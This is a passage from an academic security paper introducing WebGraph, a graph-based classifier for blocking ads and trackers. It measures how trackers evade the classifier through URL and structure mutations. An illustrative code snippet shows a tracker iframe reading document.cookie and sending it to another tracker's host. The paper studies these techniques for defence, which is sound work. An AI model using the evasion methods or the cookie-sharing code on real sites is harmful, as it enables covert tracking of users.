in the test set, the adversary achieves a perfect success rate.
We also see a higher proportion (32.25%) of the unblocked
URLs belonging to popular ad exchanges, as compared to the
previous experiment.

To better understand why such URL manipulation is able to
evade detection by ADGRAPH, we analyze feature importance
using information gain (see Table 1). We see that content
features are essential to the ADGRAPH classifier: not only
are the top-3 most important features content features, their
relative importance scores are also high compared to the other
features. Two of the top-3 features depend on whether a URL
is third-party, which explains why we obtain high success rates
when the adversary has the capability to masquerade as the
first party. These two features do not have an effect in the case
where the adversary does not collude with the first party, since
the adversary cannot change the fact that they are third party.
However, the adversary’s manipulations still influence the third
top feature, length of the URL. Hence, we observe lower but
non-trivial success rates even without collusion.

These results show that graph-based ML classifiers such
as ADGRAPH over-rely on content features that makes them
vulnerable. Next, we propose an approach to improve the ro-
bustness of graph-based ad and tracker blocking tools.

4 WEBGRAPH

Online advertising and tracking fundamentally relies on in-
formation sharing. Trackers need to share information with
each other to improve their coverage of users’ browsing his-
tory [30, 51]. Trackers also need to share information with
each other as part of built-in dependencies in programmatic
advertising protocols [9, 24, 32, 50, 51]. We contend that lever-
aging such fundamental information sharing patterns can help
build accurate and robust classifiers for ad and tracker blocking.
We introduce WEBGRAPH, a classifier that explicitly captures
these information sharing patterns as part of its cross-layer
graph representation of the execution of a web page.

To illustrate the information sharing patterns that we want
to capture in WEBGRAPH, let us revisit how information shar-
ing between different origins is mediated by the browser. We
deliberately use a loose definition of origin. An origin can
be, depending on the specific use case, a site, a domain, or
an entity, among others. At a high-level, the web browser iso-

lates different origins, based on various policies, so that their
data is not leaked to each other. Figure 3(a) illustrates how the
browser limits information sharing between different origins:
example.com, tracker1.com, and tracker2.com each have
access to their isolated local storage (e.g., cookies, IndexedDB)
that may be used to store user identifiers. The browser isolates
information flows between the local storage and remote servers
of different origins: tracker1.com and tracker2.com can-
not generally access each others’ cookies.

Trackers typically circumvent these limitations in the
browser in two main ways. First, Figure 3(b) illustrates
how a tracker may share its identifier with another tracker
through cookie syncing. This can be implemented in several
ways. For example, let’s say example.com loads a JavaScript
from Tracker 1 that first uses document.cookie to retrieve
Tracker 1’s identifier cookie from its cookie storage and then
initiates a GET request to Tracker 2. The script includes
Tracker 1’s identifier cookie in the request URL as a query
string parameter. Note that the request automatically includes
Tracker 2’s identifier cookie in the Cookie header. Therefore,
when Tracker 2’s remote server receives the request, it would
be able to sync Tracker 1’s identifier with its own identifier.
As another example, let’s say example.com first loads an in-
visible pixel from Tracker 1, which responds back with a 3XX
redirect status code along with the URL in the Location header
that points to Tracker 2 and includes Tracker 1’s identifier
cookie. Upon receiving the response, the browser issues a GET
request to Tracker 2 and includes Tracker 1’s identifier cookie
in the request URL and Tracker 2’s identifier cookie in the
Cookie header. Again, Tracker 2’s remote server is able to sync
Tracker 1’s identifier with its own identifier.

Second, Figure 3(c) illustrates how a tracker may share
its identifier with another tracker through various web APIs
in several ways. For example, let’s say example.com loads
scripts from Tracker 1 and Tracker 2 which then share their
identifiers by reading/writing to the global variables of the
window object. The script from Tracker 1 may assign its iden-
tifier to a new global variable foo that is then read by the
script from Tracker 2. Therefore, Tracker 1 and Tracker 2’s
scripts would be able to sync identifiers with each other and
also send them to their respective remote servers. As an-
other example, let’s say example.com loads iframes from
Tracker 1 and Tracker 2 which then share their identifiers us-
ing postMessage. While these iframes have different origins,
Tracker 1’s iframe can use window.parent property to get a
reference to the parent window and then use window.frames
to get a reference to Tracker 2’s iframe. Tracker 1’s iframe
can then use this reference to call window.postMessage
and send its identifier to Tracker 2’s iframe, which can
use window.addEventListener to receive the identifier.
Tracker 2’s iframe can then send the shared identifier with
its remote server to sync them.

Trackers use a wide variety of information sharing patterns,
beyond the two aforementioned mechanisms. A sound and
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Figure 3: Origin isolation vs. sharing. Circles represent information about a user gathered by a particular domain (example.com, ;
tracker1.com, ; and tracker2.com, ). The box represents the browser which acts as channel between the local storage on the user’s device
and the remote server of each domain. 3(a) Illustrates origin isolation in the browser: every domain can only access information in their own
storage. 3(b) and 3(c) illustrate two information sharing patterns that trackers use to circumvent origin isolation: (b) cookie syncing, where
users’ identifiers are sent to more than one domain; and (c) sharing identifiers using web APIs.

precise examination of all patterns warrants full-blown infor-
mation flow tracking that adds significant implementation com-
plexity and runtime overhead [18, 20, 35]. As we discuss next,
WEBGRAPH approximately captures these information sharing
patterns by including additional nodes and edges in its graph
representation that correspond to elements and actions associ-
ated with these information sharing patterns. (See Section 6 for
a discussion of WEBGRAPH’s completeness.) It then extracts
new features on this enriched graph representation to train a
classifier for detecting ads and trackers.

4.1 Design & Implementation

4.1.1 Graph Construction

WEBGRAPH captures the flow of information among and
across the HTML, network, JavaScript, and storage layers of
the web stack. At the HTML layer, WEBGRAPH captures cre-
ation and modification of all HTML elements that are initiated
with scripts, e.g., iframe. At the JavaScript layer, WEBGRAPH
captures the scripts’ interaction with other layer, e.g., initiation
of a network request. At the network layer, WEBGRAPH cap-
tures all outgoing network requests and their responses. At the
storage layer, WEBGRAPH captures read/write in cookies and
local storage through scripts and network requests, and also
value exchanges between network requests.

OpenWPM Instrumentation. We extend OpenWPM [30]
to capture the execution and interaction of HTML, network,
JavaScript, and storage layers. To capture HTML elements
creation and modifications, we instrument createElement
method and register a MutationObserver interface. To cap-
ture network requests, we parse OpenWPM’s existing instru-
mentation, which uses a webRequest2 listener, to capture all
of the network requests, their responses, and redirects. To cap-
ture JavaScript interaction, we parse OpenWPM’s existing
instrumentation, which relies on JavaScript’s stack trace to
log JavaScript execution. To capture read/write to storage, we
instrument document.cookie and localStorage methods and
also intercept cookie read/write HTTP headers.

2https://developer.mozilla.org/en-US/docs/Mozilla/Add-
ons/WebExtensions/API/webRequest

Graph Composition. Elements at each of the layers are rep-
resented with nodes and the interaction between these nodes is
represented with edges. Specifically, each HTML element, net-
work request, script, and stored value, is represented as a node.
Edges to HTML nodes from script nodes represent the creation
and modification of elements. Edges from HTML nodes to
network nodes represent initiation of network requests to load
content, such as scripts and images. Edges from script nodes
to network nodes represent the initiation of XMLHTTPRequest
which will be parsed by the script. Edges between script and
storage nodes and network and storage nodes, represent the
read/write of values in the storage. Edges between network
nodes either represent redirects or the presence of the same
stored values.3

Graph Composition Example. To illustrate WEBGRAPH’s
graph representation, let us consider the example web page
given by Code 1. The web page embeds a script from
Tracker 1 and an iframe from Tracker 2. The tracking iframe
from Tracker 2 reads its tracking cookies and sends them to
Tracker 3 via an XHR. Both trackers trigger requests to share
tracking identifiers. The HTTP requests and responses that
result from loads in Code 1 are listed in Listing 1.

Tracker 1’s script embeds an image element from Tracker 2,
which causes the browser to send an HTTP request (Request 1
in Listing 1) that includes Tracker 2’s cookie. Tracker 2 re-
sponds to this request with a redirect to Tracker 1 that embeds
the user identifier Tracker 2 received via the initial request’s
Cookie header (i.e., user1). The browser makes a subsequent
request (Request 2 in Listing 1) to Tracker 1. Tracker 1 re-
sponds with a tracking pixel image and a Set-Cookie header
to set its own tracking cookie with the value userA. On the
backend, Tracker 1 knows that userA is known as user1 by
Tracker 2. Tracker 2’s embedded iframe further shares its iden-
tifier cookie with Tracker 3. It does so by accessing its cookies
locally via document.cookie and embedding them in an XHR
to Tracker 3 (Request 3 in Listing 1).

Differences as compared to ADGRAPH. WEBGRAPH
keeps ADGRAPH’s HTML and JavaScript layers as they are,
but extends the network layer and includes a new storage layer
in the graph representation. WEBGRAPH also introduces infor-

3We match stored values with their base64-encoded and MD5 and SHA-1
hashed values [29, 32].
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1 <html>
2 <script src=’tracker1.com/track.js’>
3 ...
4 var image =document.createElement(’img’);
5 image.src = ’tracker2.com/sync’;
6 document.body.appendChild(image);
7 ...
8 </script>
9 ...

10 <iframe src=’tracker2.com/track.html’>
11 <script>
12 ...
13 idCookie = document.cookie;
14 var newReq = new XMLHTTPRequest();
15 newReq.open("GET", "tracker3.com?user_id=

" + idCookie);
16 ...
17 </script>
18 </iframe>
19 </html>

Code 1: Web page sending requests to several trackers.

mation flow edges, which are absent in ADGRAPH, to entwine
the extended network layer and the storage layer. The extension
of network and the addition of storage layer allow WEBGRAPH
to explicitly capture information sharing patterns used in ad-
vertising and tracking.

---------------------------------------------------
Request 1
URL: tracker2.com/sync
Cookie: user1
Response 1
Status: 302
Location: tracker1.com?tracker2_id=user1
---------------------------------------------------
Request 2
URL: tracker1.com?tracker2_id=user1
Response 2
Status: 200
Set-Cookie: userA
Content: pixel.png
---------------------------------------------------
Request 3
URL: tracker3.com?user_id=user1
Response 3
Status: 200

Listing 1: HTTP requests and responses initiated from Code 1.

We illustrate the differences in Figure 4 which shows the
graph representation of the web page in Code 1 and request
and response sequences in Listing 1 for both ADGRAPH (Fig-
ure 4(a)) and WEBGRAPH (Figure 4(b)). ADGRAPH’s rep-
resentation of the example web page consists in two disjoint
graphs which capture the individual actions of the two trackers:
The first row of nodes (from 10 to 15) captures Tracker 2’s
tracking behavior: from the iframe loading to the initiation
of an XHR request. The second row of nodes (from 2 to 6)
captures Tracker 1’s tracking behavior: from the script loading
to the initiation of a network request for loading an image. In

this figure, it becomes clear that ADGRAPH does not capture
the information sharing pattern between the nodes, because of
its inability to capture the redirect (Request 2) made by the
image request (network node 5) and the cookie set (storage
node 5; visible only in WEBGRAPH’s graph) by the redirect
request. WEBGRAPH, on the contrary, not only captures the
flows appearing in ADGRAPH, but also captures the redirects
(dotted edge between the two network nodes labeled 5) and
cookies set by requests (the second network node 5 to storage
node 5). This representation further enables WEBGRAPH to
link requests that share common identifiers (node 5 to 15).

4.1.2 Features

We take the ADGRAPH feature set and augment them with
three categories of features. These additional features come
from WEBGRAPH’s improved graph representation, i.e., exten-
sion of the network layer and a new storage layer. The features
target storage, network, and information sharing behaviors that
were absent in ADGRAPH. First, we extract features that mea-
sure the number of read/write cookie and localStorage accesses
by a node. We obtain these features from the new storage layer.
Second, we extract features that measure the number of re-
quests and redirects to/from a node as well as the depth of
a node in a redirect chain. These features come from our ex-
tension to the network layer. Third, we extract features that
measure the number of different types of information sharing
edges (e.g., nodes access the same storage node or share data of
a storage node) to/from a node. We obtain these features using
both the network and storage layers in WEBGRAPH’s graph
representation. We also extract some standard graph features
(e.g., in-degree, out-degree, eccentricity) for the information
sharing edges. We jointly refer to these three newly added
categories of features as flow features. Table 4 in Appendix A
lists the full set of features in WEBGRAPH.

To illustrate the potential of these features in distinguishing
ATS and Non-ATS resources, let us consider three flow features
belonging to each of the categories described above:the number
of storage elements set by a resource (Figure 5(a)), the number
of requests that were redirected to a resource (Figure 6(b)),
and the number of information sharing edge ancestors (Fig-
ure 6(c)). As explained in Section 4, ATS resources store user
identifiers in storage elements and use redirects and sharing of
identifiers in URLs to perform actions such as cookie syncing.
Therefore, we expect ATS resources to set a larger number of
storage elements, be at the receiving end of redirects, and be
involved in a larger number of shared information edges than
Non-ATS resources. We plot in Figure 5 the distributions of
these features in our dataset. We see that, indeed, the distri-
butions are different for benign and ATS resources, with ATS
presenting higher values on average for the three features under
study. The differences in distributions is especially apparent
for Figure 6(c), which shows the number of shared informa-
tion edge ancestors. In our dataset, we observe 589,218 cases
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Figure 4: Graph representation of Code 1 in ADGRAPH and WEBGRAPH. represents network nodes, represents script nodes, represents
HTML nodes, and represents storage nodes. Node numbers correspond to the lines in Code 1. In Figure 4(b), dotted (- - -) lines represent the
additional edges that are captured by WEBGRAPH and missed by ADGRAPH.

of ATS receiving a cookie value in a request URL, as com-
pared to 89,564 cases for non-ATS. This sharing is detected
as an information sharing edge, which in turn leads to ATS
having larger values in shared information edge properties than
Non-ATS. In the case of redirects (Figure 6(b)), the probability
that a Non-ATS resource has more than 7 redirects tends to
0, which is not the case with ATS resources. The number of
ATS resources with more than 7 redirects is very small in our
dataset (≈ 0.04%). Yet, it is a top-20 feature in our classifier, as
observing more than 7 redirects directly identifies the resource
as ATS. Storage element setting (Figure 5(a)) shows a similar
behavior, with ATS resources sometimes having more than 54
elements set, while Non-ATS resources never have so many.

While individual contributions of some of these flow features
might be small, they provide a strong signal in distinguishing
ATS when combined, as we show in the next section.

4.2 Evaluation
To evaluate WEBGRAPH, we use the same dataset of 10K web
pages and method as in Section 3.2. To understand the marginal
benefit of WEBGRAPH over ADGRAPH, we systematically
compare the performance of different feature sets and graph
representations. Table 2 summarizes the results.

Graph Feature Set Accuracy Precision Recall

ADGRAPH Structural + Content 92.33 ± 0.50 88.91 ± 1.14 92.14 ± 0.65
Structural 80.22 ± 0.81 71.85 ± 1.53 82.44 ± 1.26

WEBGRAPH Structural+ Flow + Content 94.32 ± 0.27 92.24 ± 0.67 94.14 ± 0.30
Structural + Flow 86.93 ± 0.64 80.57 ± 1.12 90.01 ± 0.50
Structural 82.62 ± 0.47 75.67 ± 0.75 85.09 ± 1.41

Table 2: Evaluation of WEBGRAPH and ADGRAPH with different
feature set variations.

We observe that ADGRAPH’s performance drops by at least
10% when content features are removed. Recall from Section
3.2 that if content features are present alongside structural fea-
tures, ADGRAPH is particularly susceptible to evasion: trackers
have an 8.72% evasion success rate on their own, and a 96.62%
success rate if they collude with the first party. Thus, there is a
trade-off in ADGRAPH between effectiveness (with content)
and robustness to evasion (without content).

Second, Table 2 shows that WEBGRAPH’s performance is
better than ADGRAPH. When using all feature sets, WEB-
GRAPH outperforms ADGRAPH by about 2-4%. If, for robust-
ness, we remove content features, we observe a drop in accu-
racy limited to just 4-9% across all measures. We conclude that
WEBGRAPH’s improved graph representation and new flow
features can compensate for the loss of content features to a
large extent.

Finally, Table 2 shows that WEBGRAPH’s improved graph
representation by itself (i.e., even without the new flow fea-
tures) contributes to about half of the improvement over AD-
GRAPH. WEBGRAPH with only structural features achieves
2-4% improvement across all measures as compared to AD-
GRAPH also with only structural features. We conclude that,
while WEBGRAPH’s new flow features help improve its accu-
racy, the improved graph representation is an important con-
tributor to performance.

Feature Category Information gain (%)

Shared information ancestors Flow 6.48 ± 0.69
Number of requests sent by node Flow 5.9 ± 0.69
Number of nodes in graph Structure 5.46 ± 0.35
Average degree connectivity of node Structure 5.18 ± 0.16
Number of edges in graph Structure 4.19 ± 0.34

Table 3: Top-5 most important features for WEBGRAPH’s classifica-
tion, their category, and information gain (averaged over 10 folds).

To provide insights into the relative importance of flow and
structural features, we list top five most important features in
terms of information gain in Table 3. The two most important
features are flow features. As discussed in Section 4.1.2, the
top feature distribution (Figure 6(c)) is very different for ATS
and non-ATS, so it’s not surprising that this feature contributes
to the classification. Storage setting (Figure 5(a)) and received
redirects (Figure 6(b)) contribute a smaller, but still useful,
portion towards identification; they have information gains
of 1.9% (± 0.37) and 2.5% (± 0.47) respectively (21st and
17th most important features). Structure features, enhanced
by WEBGRAPH’s improved graph representation, also con-
tribute towards the performance. We further analyze which
features contribute most to each prediction of WEBGRAPH
using treeinterpreter [7]. For ≈ 32% of predicted ATS in
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Figure 5: Histograms of three example flow features for ATS and Non-ATS resources (normalized, y-axis in log scale). (a) Number of storage
elements set by a resource; (b) Number of network redirects received by a resource, and (c) Number of shared information ancestors of a
resource. These features demonstrate different distributions for ATS and Non-ATS resources, and thus can help the classifier to distinguish
between them.

the dataset, the flow features were the top contributors, indi-
cating that they provide an important signal for the presence
of trackers. In contrast, for ≈ 47% of predicted Non-ATS in
the dataset, structure features were the top contributors. These
results confirm our earlier intuition that capturing information
sharing behaviors that are unique to advertising and tracking
carries significant predictive power.

4.3 Efficiency

We envision WEBGRAPH to be used for filter list curation and
maintenance in an offline setting. WEBGRAPH relies on large
scale web crawls and notoriously expensive graph traversals
for feature extraction. We now measure WEBGRAPH’s offline
overhead to demonstrate its adequacy as a tool to periodically
update filter lists.

Crawl time. Our implementation of WEBGRAPH has an up-
per bound of 60 seconds, enforced with a timeout, to crawl a
website. In the average case, crawls take only ∼26.46 seconds
per-page. Crawls can be parallelized over several instances to
reduce the crawl time. For example, it took us around 10.5
hours to crawl 10K websites, parallelized over 7 instances.
Without parallelization and if all websites would reach the
timeout, the crawls would take ∼166 hours.

Processing websites. On average, WEBGRAPH takes 0.72 sec-
onds to build the graph, 15 seconds to extract features, and
0.25 seconds to train and test each website. For our crawl of
10K websites, it took us a total of ∼44 hours to create their
graphs and extract features on a single instance. This time can
be significantly reduced with parallelization.

Update frequency. These estimates suggest that for 10K web-
sites containing ∼1.1 million requests WEBGRAPH will re-
quire, at most, ∼166 (data crawling) and ∼44 (data processing)
hours with a single instance. However, when averaged over 7
instances, the computation time significantly reduces to 16.83
hours (10.5 for crawling and 6.33 for processing). We antici-
pate the computation time for periodic updates to reduce sig-
nificantly because many websites have low update frequency.
Monitoring the update frequency of websites will allow us to
only crawl when changes are expected in websites. In cases

where we determine that the website did not change since the
last crawl, we will not recompute their classifications. With
this update frequency, WEBGRAPH will be able to update filter
lists on a daily basis, and certainly operate within the current
expiry period, i.e., mandated update frequency, of popular filter
lists, e.g., 4 days for Easylist [4]. Frequent updates with WE-
BGRAPH can help remove outdated rules and as well as add
new rules to block newly discovered ads and trackers.

To evade detection by the updated rules generated by WEB-
GRAPH, adversaries could change their page content (e.g., ro-
tate domains) [44]. In order to successfully evade WEBGRAPH,
however, an adversary would need to change their page content
at a rate faster than the rate of WEBGRAPH’s updates (i.e, at
least once a day). Such frequent changes, however, require
continuous coordination and cooperation between the trackers
and publishers hosting their content and are complicated to
implement in practice. If an adversary with sufficient resources
and capabilities to perform frequent page content changes,
WEBGRAPH would need to operate in an online manner to be
robust by directly classifying page resources at runtime. This
would require few changes in WEBGRAPH’s operation. Specif-
ically, instead of extracting features from a complete graph
representation at the end of a page load, in an online setting
WEBGRAPH would need to extract features from partial graph
representations build as the page is being loaded. Relying on
partial graph representation, will make WEBGRAPH more per-
formant, but it may may degrade WEBGRAPH’s accuracy. We
leave to future work to explore the tradeoffs involved in an
online implementation of WEBGRAPH.

5 WEBGRAPH Robustness

In this section, we evaluate WEBGRAPH’s robustness against
content mutation attacks (described in Section 3) and structure
mutation attacks.

5.1 Content mutation attacks
To evaluate WEBGRAPH against content mutations, we
strengthen the threat model described in Section 3 to enable
the adversary to also masquerade their resources as first party,
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i.e., through first-party subdomains. Overall, our attacks in-
volve random mutations to domain names, subdomains, and
the query string in URLs (Section 3.2).

By relying on content mutations, the adversary is able to
switch 96.62% of their ATS resources to Non-ATS against AD-
GRAPH. Against WEBGRAPH, the adversary’s success rate
plummets to just 8.34 ± 0.66% (over 10 folds). For example,
mylivesignature.com, a tracking domain, was able to switch
all of its 560 ATS resources to Non-ATS against ADGRAPH,
but none against WEBGRAPH.

Note that, even though WEBGRAPH does not use content
features, the evasion success rate against WEBGRAPH does
not drop to zero. This is because some of the WEBGRAPH’s
features implicitly rely on URL properties. For example, shared
information edges, that consider sharing of cookie values via
query strings in the URL, are affected by URLs manipulations.

5.2 Structure mutation attacks
Next, we evaluate WEBGRAPH’s robustness against structure
mutations. We assume that the adversarial third-party has un-
restricted black box access to the WEBGRAPH’s classifier,
i.e., the adversary can make unlimited queries and observe
WEBGRAPH’s classification output. This access enables the
adversary to validate the effect of their structure mutations.

Attack details. We assume that the adversary can mutate the
structure of a web page through resource addition, re-routing,
and obfuscation. Moreover, we assume that the adversary also
performs content mutations, to maximize its chance of success
Resource addition entails addition of new resources, such as
images and scripts. Resource re-routing entails re-organization
of existing redirect chains, i.e., dispersing a redirect chain in
a sequence of XMLHttpRequest’s through one or multiple
scripts. Resource obfuscation entails obfuscation of cookie or
query string parameter values of existing resources, i.e., encod-
ing or encrypting cookie or query string parameter values in a
format that is not detected by WEBGRAPH’s implementation,
before sharing them in network requests. To remain stealthy,
we assume that the adversary does not delete functional content
from the web page that could damage usability.

It is important to note that even simple mutations, such as
adding a single element to the web page, can significantly
change graph properties and impact several features. For ex-
ample, the addition of a child node causes a cascading effect.
It increases the number of descendants of all the parent nodes
in the branch, all the way up to the root node, and also impacts
their centrality. Thus, the result of such simple mutations can
become unpredictable and hard to control by the adversary: It
can cause unintended classification changes for nodes under
and outside the control of the adversary. Complex mutations,
such as adding a combination of nodes at once, further compli-
cate having control on the number of unintended classification
changes. In our evaluation, we only consider atomic mutations,
i.e., addition, re-routing, or obfuscation of individual resources.

Mutation algorithm. We capture the adversary’s unrestricted
black box access to classifier by implementing a greedy random
algorithm to find suitable mutations. This kind of algorithm
is extensively used in the literature due to its simplicity and
practicality [36, 62, 67]. The algorithm (formally described
in Appendix D) iteratively mutates WEBGRAPH’s graph rep-
resentation. At each step, it adds, re-routes, or obfuscates the
resource that provides the best trade-off between desired (ATS
to Non-ATS) and undesired (NON-ATS to ATS) classification
switches. Resource addition is simulated by adding nodes to a
randomly selected leaf nodes in the graph. Resource re-routing
is simulated by adding each request, in a redirect chain, as
an individual node to one or more randomly selected scripts.
Resource obfuscation is simulated by replacing stored values
in URLs with an encoding that is not detected by WEBGRAPH.

5.3 Empirical evaluation

Experimental Setup. To evaluate WEBGRAPH’s robustness,
we must rebuild the graph and recompute the features after
each mutation. To keep the evaluation time reasonable, we
sample 100 web pages from our dataset, and we limit the graph
growth to 20%. To ensure that this sample is representative of
our dataset, we divide graphs into 5 bins according to their size
and sample 20 web pages from each bin. To avoid exception-
ally long evaluation times, we only consider web pages that
have 250 or fewer nodes (80% of the dataset; see Appendix B
for the full distribution).4 For each web page, we designate
the adversary as the third party with the highest number of
resources classified as ATS. It is noteworthy that the adversary
with the highest number of ATS resources has an opportunity
to do maximum damage.

In this dataset, the median evaluation time per web page was
29.08 minutes, with 39% of the pages taking more than an hour
to run. Even though this is a simulation, the computational
cost is directly proportional to the operational cost for the
adversary. The adversary must consume additional CPU cycles
and memory and in the case of node addition, send additional
network requests, thereby increasing the cost of their attack.

Success metrics. To measure adversary’s success, we define
the following terms:

ATSWeb: Number of nodes classified as ATS.

ATSAdv: Number of adversary nodes classified as ATS.

Non-ATSWeb: Number of nodes classified as Non-ATS.

Non-ATSAdv: Number of adversary nodes classified as
Non-ATS.

desired: Number of nodes switching from ATSAdv to
Non-ATSAdv.

4The resulting reduced dataset has similar mean, stand deviation, and me-
dian for the features as the full dataset.
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undesired: Number of nodes switching from Non-ATSWeb to
ATSAdv.

neutral: Number of nodes switching from ATS to Non-ATS
for non-adversary nodes.

Success rate: Desired changes from the adversary’s point of
view. It is calculated as desired/ATSAdv.

Collateral damage: Undesired changes from the
adversary’s point of view. It is calculated as
undesired/(Non-ATSAdv+Non-ATSWeb).

Other changes: Non-consequential changes from the adver-
sary’s point of view. It is calculated as neutral/ATSWeb.

We illustrate the node switches, with the mutation algorithm,
for an example graph in Appendix E.

5.3.1 Adversary’s success

We assume that the adversary neither colludes with other third
parties nor with the first party and can only perform mutations
on the nodes and edges it controls. We conduct the attack on
100 web pages. We note that increasing the number of graph
mutations increases the adversary’s mean success rate from
38.6 ± 33.01 (median: 33.33) at 5% graph growth to 52.48 ±
33.4 (median: 50.00) at 20% graph growth. The classification
switches lead to a decrease in the overall classification accuracy
by 1.5%, recall by 8.85%, and precision by 2.29%.

However, the adversary’s success comes at a cost of collat-
eral damage. The average collateral damage rises from 2.17 ±
11.19 to 3.88 ± 13.55 (median: 0). In Figure 6, we illustrate the
trade-off between success rate and collateral damage at 20%
graph growth. The x-axis represents success rate, the y-axis
represents collateral damage, and circles represent a trade-off
between the two. The circles’ color represents ATSAdv or the
number of classifications the adversary has to switch for the
particular web page. The lighter the color, the more switches
are required, i.e, the cost of success increases. For the web
pages in this dataset, the adversary has, on average, ATSAdv =
5.98 ± 5.39 nodes classified as ATS. For certain pages, the
ATSAdv can be as high as 26.

Ideally, the adversary wants to be at the bottom right of the
graph, where it achieves 100% success rate with zero collateral
damage. The adversary is able to reach its ideal target on
only 13 web pages, which only required four switches. The
adversary is able to achieve 50% or more success on 61 of
the tested web pages. Together, they amount to 240 nodes
switched, with 45 of these pages having non-zero collateral
damage. On the other hand, we have 9 web pages that had a
higher collateral damage than success rate: a net negative effect
of the mutation. Out of these, 6 web pages had 0% success rate
with non-zero collateral damage, and 3 web pages had a large
collateral damage > 75% (with one web page hitting 83%).

Overall, even in the case of an unrealistic adversary that
has the capabilities to manipulate structure features at will,
and also the operational power to do so for a large number of
iterations, there is no guarantee of perfect success.

Breakage. If undesired changes affect benign resources that
are essential to the correct functioning of the web page, even
a small collateral damage can break the page. This may have
large impact on trackers. If users leave the broken web pages,
the adversary cannot track them or show them ads.

We define website breakage as degradation in usability of the
website. We say there is major breakage if the user is unable to
complete the primary functionality of the web pages (e.g. login,
search or page navigation). If the user is unable to complete
a secondary functionality of the web pages (e.g. comment
or review), we say there is minor breakage. Otherwise, we
consider that the web page does not have any breakage.

We quantify breakage on all of the 21 web pages where
the adversary experiences undesired classification switches.5

We open these web pages side by side on stock Firefox and
a Firefox configured with an extension that blocks the URLs
that switched classification, and we compare them side by side
to identify any visual signs of breakage.

We ask two reviewers to perform the analysis. Our reviewers
attain an agreement of 90.46% in their evaluation. They find
that the undesired classification switches cause major break-
age on 3 and minor breakage on 2 web pages. This breakage
mostly happens when the first-party resources are switched
from Non-ATS → ATS. Our approach and results are in line
with other works that evaluate breakage [40, 57], though we
cannot test whether this breakage is representative of what
users experience in the wild.

Careless adversary. If the adversary is not concerned with
changes to any non-adversarial nodes, their collateral damage
decreases. The adversary still does not want their own con-
tent to be blocked, so it will optimize against their own nodes
switching to ATS. This change in strategy updates the collateral
damage calculation to: undesired/Non-ATSAdv.

With our modified definition, there can be no collateral dam-
age for web pages on which all of the adversary nodes are
classified as ATS; we note 55 such web pages. For the remain-
ing 45 web pages, only 8 web pages have collateral damage,
as compared to 27 web pages that had collateral damage as
per our original definition. Out of these 8 web pages, 4 had a
higher collateral damage than success rate (net negative effect),
and 6 web pages have a large collateral damage > 20% (with
2 web pages hitting 100%). Thus, even when an adversary is
not concerned about collateral damage to other parties they are
not significantly more successful in subverting WEBGRAPH.
Surprisingly, the success rate mean growth does not change
much from the previous scenario. The unpredictable effect of
the mutations on the graph features (see Appendix E for an

5The adversary experiences undesired classification switches on 45 web
pages. However, 24 web pages no longer serve the switched ATS resources.
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Figure 6: Adversary’s success rate vs. collateral damage for each web page in the test data at 20% graph growth. Figure 6(a) represents all
mutations, 6(b) represents only structure mutations, and 6(c) represents only resource re-routing and obfuscation mutations. Colored circles
represent the number of required switches.

example) makes it difficult to pinpoint what causes this lack of
change in the adversary’s success rate.

Collusion with the first party. So far, we have assumed that
the adversary is a single third party that does not collude with
other third parties or the first party. If we assume the adversary
colludes with both, the adversary can add child nodes to any
node in the graph. This is a much stronger adversary than
in Section 5.3.1, where in each iteration the adversary can
only test a random subset of the options. Realistically, such a
powerful collusion would be difficult to implement, as it would
require coordination and cooperation among multiple parties
to ensure that the mutation is feasible.

We repeat our experiment, but we now allow the adversary to
consider all possible mutation options on any node, and pick the
best one in each iteration. These experiments take longer to run
(see Appendix C), so we only analyze 100 web pages whose
graphs have at most 50 nodes. We see that collusion enables the
adversary to have a slightly higher success rate (63 pages with
success rate > 50% as compared to 60 for the non-colluding
adversary) and lower collateral damage (9 pages with damage
>0% compared to 18 pages for a non-colluding adversary).
These results are described in detail in Appendix F).

5.3.2 Impact of mutation choice

Next, we study the adversary’s preference in selecting the
most useful mutations. The adversary picks resource addition
81.70%, resource re-routing 17.26%, and resource obfuscation
0.04% of the time. Resource obfuscation is rarely chosen by the
adversary because the graph already has content manipulations
applied, and these manipulations have already severed many
of the edges that would be severed by resource obfuscation.
To separate out the impact of different mutations, we conduct
two additional experiments: (1) where the adversary can only
perform resource addition, and (2) where the adversary can
only perform resource re-routing and obfuscation.

We exclude 33 of the web pages for experiment 2 because
these web pages do not have re-route-able or obfuscate-able
resources. For the remaining 67 pages, we see that the re-
routing/obfuscation mutations (Figure 6(c)) are more effective
than addition mutations (Figure 6(b)). Re-routing/obfuscation

not only yields higher success rates for the adversary, but also
results in lower collateral damage. This is unsurprising because
these mutations target information sharing patterns which are
distinctive of trackers; changing these patterns removes an
important signal for the classifier (see Table 3).

However, in practice, resource re-routing and obfuscation
would entail high costs for the adversary since they involve the
manipulation of identifier sharing patterns. Specifically, the ad-
versary would have to coordinate with other parties on changes
to these patterns, and redesign how they perform tracking in
order to perform these mutations. The success of these muta-
tions also depends on the degree to which flows are captured
by the instrumentation used to create the graph. WEBGRAPH’s
instrumentation approximates information flows and will not
capture all attempts by an adversary to use re-routing and
obfuscation. We argue that this is not a fundamental flaw in
WEBGRAPH’s architecture but a limitation in our implementa-
tion that approximates information flow (Section 4). A fully
fledged instrumentation would make these manipulations much
more difficult to deploy. See Section 6 for an extended discus-
sion. Resource addition has fewer costs for the adversary since
it does not involve coordination with additional parties. This
manipulation is not affected by the type of implementation
because it is not related to the flow of identifiers.

5.3.3 Comparison with ADGRAPH

We also evaluate whether WEBGRAPH, in addition to having
superior classification performance, offers robustness benefits
over ADGRAPH. We only use ADGRAPH’s structural features,
as we already demonstrated that content features are not ro-
bust. Because ADGRAPH does not have features based on
flow information, we only perform resource addition. We find
that the adversary has greater success against ADGRAPH than
WEBGRAPH, but also suffers from more collateral damage
(Figure 10 in Appendix F). This is because the structural ef-
fects of node additions are hard to control, as explained in
Section 5.2. Since the former is beneficial to the adversary but
the latter is not, it is not clear-cut as to whether one system
provides more robustness than the other.

2886    31st USENIX Security Symposium USENIX Association



In summary, it is not trivial for an adversary to produce the
desired classification switches for their advertising and tracking
resources without producing any undesired changes. Yet, an
adversary willing to accept the collateral damage, and with the
resources to grow the graph beyond the 20% we evaluated, can
increase the success rate. Even this success, however, would
increase the adversary’s operational and computational costs.

6 Limitations

In this section, we discuss limitations of WEBGRAPH’s design,
implementation, and evaluation.

Completeness. For efficiency reasons, WEBGRAPH fo-
cuses on a limited subset of the browser’s API surface,
such as HTTP cookie headers, document.cookie, and
window.localStorage. WEBGRAPH’s implementation is
also geared towards capturing client-side information that is
pertinent to stateful tracking. However, techniques used by
ATS need not to be limited to these APIs or to stateful tracking.
Some ATS have started to use stateless tracking techniques,
